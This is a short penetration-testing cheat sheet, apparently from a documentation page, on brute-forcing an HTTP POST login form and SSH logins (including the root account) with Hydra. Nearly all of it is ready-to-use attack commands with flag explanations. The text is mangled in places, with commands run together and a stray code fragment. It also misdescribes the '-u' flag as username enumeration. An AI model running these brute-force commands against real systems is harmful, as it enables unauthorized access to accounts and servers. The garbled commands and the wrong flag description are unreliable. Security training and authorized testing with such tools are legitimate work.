Hydra
HTTP POST Form
hydra http://10.10.10.10/ http-post-form "/login.php:user=^USER^&password=^PASS^:Incorrect credentials" -L usernames.txt -P passwords.txt -f -Vhydra -v -V -u -L users.txt -P passwords.txt -t 1 -u 10.10.10.10 ssh
hydra -v -V -u -l root -P passwords.txt -t 1 -u 10.10.10.10 ssh// Some codeHTTP POST Form Attack Using Hydra
To launch a brute force attack against an HTTP POST form, you can use the following command with Hydra:
hydra http://10.10.10.10/ http-post-form "/login.php:user=^USER^&password=^PASS^:Incorrect credentials" -L usernames.txt -P passwords.txt -f -VIn this command:
Replace
http://10.10.10.10/with the target URL.Adjust the
/login.php:user=^USER^&password=^PASS^:Incorrect credentialsstring to match the form data and failure message.The
-Lflag specifies a file with usernames, and-Pspecifies a file with passwords.The
-fflag tells Hydra to stop after the first correct password is found.The
-Vflag increases the verbosity, showing the attempts in the output.
SSH Brute Forcing with Hydra
To perform a brute force attack on SSH, you can use Hydra with variations of the following commands:
For a list of users:
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u 10.10.10.10 sshFor a single user:
hydra -v -V -u -l root -P passwords.txt -t 1 -u 10.10.10.10 sshNotes:
The
-vand-Vflags are for verbose mode, showing the login attempts.The
-uflag is used to perform a username enumeration.The
-Land-lflags are for specifying the username list and a single username, respectively.The
-Pflag is for the password list.The
-tflag controls the number of concurrent connections (threads).
Please ensure to have the correct permission and authorization before attempting any form of penetration testing. Unauthorized access is illegal and unethical.
Last updated
Was this helpful?